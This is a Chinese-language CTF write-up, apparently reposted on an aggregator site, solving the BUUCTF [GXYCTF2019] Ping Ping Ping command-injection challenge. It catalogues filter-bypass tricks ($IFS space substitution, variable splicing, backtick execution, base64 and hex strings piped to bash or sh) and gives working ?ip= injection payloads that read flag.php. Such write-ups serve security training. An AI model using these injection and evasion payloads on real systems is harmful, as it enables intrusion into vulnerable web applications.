码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 命令执行绕过 [GXYCTF2019]Ping Ping Ping1


    参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765

    这里讲三种绕过命令执行的姿势

    1.反引号绕过或者内联执行绕过

    使用内联执行可以将` `内的输出作为前面命令的输入

    所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php

    2.变量赋值绕过

    通过变量赋值,再进行拼接,即可进行绕过

    如:$a=fl;$b=ag;cat $a$b.php

           payload1;a=ag.php;b=fl;cat$IFS$1$b$a

    3.利用编码和符号绕过

    Linux下,绕过空格有

    ${IFS}                        cat${IFS}flag.txt

    $IFS$1                      cat$IFS$1flag.txt

    $IFS                          cat$IFSflag.txt

    <                               cat

    <>                             cat<>flag.txt

    {cat flag.php}

    %20                          cat%20flag.txt

    %09                          cat%09flag.txt

    \  反斜杠                    ca\t fl\ag.txt

    ''   单引号                   cat fl''ag.txt

     `` 反引号                   cat$IFS$1`ls`

    base64:

    bash和sh是用来执行命令的,

    echo YWJjZGU=|base64 -d //打印出来abcde

    echo Y2F0IGZhbGcucGhw|base64 -d|bash          //cat flag.php

    echo Y2F0IGZhbGcucGhw|base64 -d|sh              //cat flag.php

    hex编码绕过:

    echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php

    unicode编码

    $(printf “\154\163”) //ls

    $(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

    题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping

    拿到题目

    我们用  ?ip=127.0.0.1;ls

    我们再用命令 ?ip=127.0.0.1;cat flag.php

    发现空格space被过滤掉了,我们可以尝试绕过空格

    发现用${IFS}$命令也不行,那我们尝试用其他方法

    发现过滤了{}符号symbol,于是我们用$IFS$命令

    发现过滤了flag字符

    那我们就尝试访问index.php

     发现过滤了很多符号

    如:

    & / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
    "xxxfxxxlxxxaxxxgxxx" " " "bash"

    那我们采用变量赋值的方法绕过

    payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

    ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    查看源码得到

    其他方法:

    内联执行绕过(将后面命令的输出作为前面命令的输入)

    payload:?ip=127.0.0.1|cat$IFS$1`ls`

    Base64编码绕过

    payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

    echo Y2F0IGZhbGcucGhw|base64 -d|sh

            
     

    类似题目解题方法总结

    1. cat fl* 用*匹配任意
    2. cat fla* 用*匹配任意
    3. ca\t fla\g.php 反斜线绕过
    4. cat fl''ag.php 两个单引号绕过
    5. echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
    6. //base64编码绕过(引号可以去掉) |(管道符) 会把前一个命令的输出作为后一个命令的参数
    7. echo "63617420666c61672e706870" | xxd -r -p | bash
    8. //hex编码绕过(引号可以去掉)
    9. echo "63617420666c61672e706870" | xxd -r -p | sh
    10. //sh的效果和bash一样
    11. cat fl[a]g.php 用[]匹配
    12. a=fl;b=ag;cat $a$b 变量替换
    13. cp fla{g.php,G} 把flag.php复制为flaG
    14. ca${21}t a.txt 利用空变量 使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的
  • 相关阅读:
    Linux的子shell
    13.java中的抽象类和接口[20220622]
    MySql的索引学习和使用;(本人觉得足够详细)
    AI写作文案的技巧:Wordhero AI写作SOP
    ArmSom-W3开发板之PCIE的开发指南(一)
    2023年第三届智能制造与自动化前沿国际会议(CFIMA 2023)
    基于PHP+MySQL大学宿舍管理系统的设计与实现
    RocketMQ的简单使用
    微服务技术栈之rabbitMQ高级(二)
    Unity 单例-接口模式
  • 原文地址:https://blog.csdn.net/m0_75178803/article/details/133742194
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号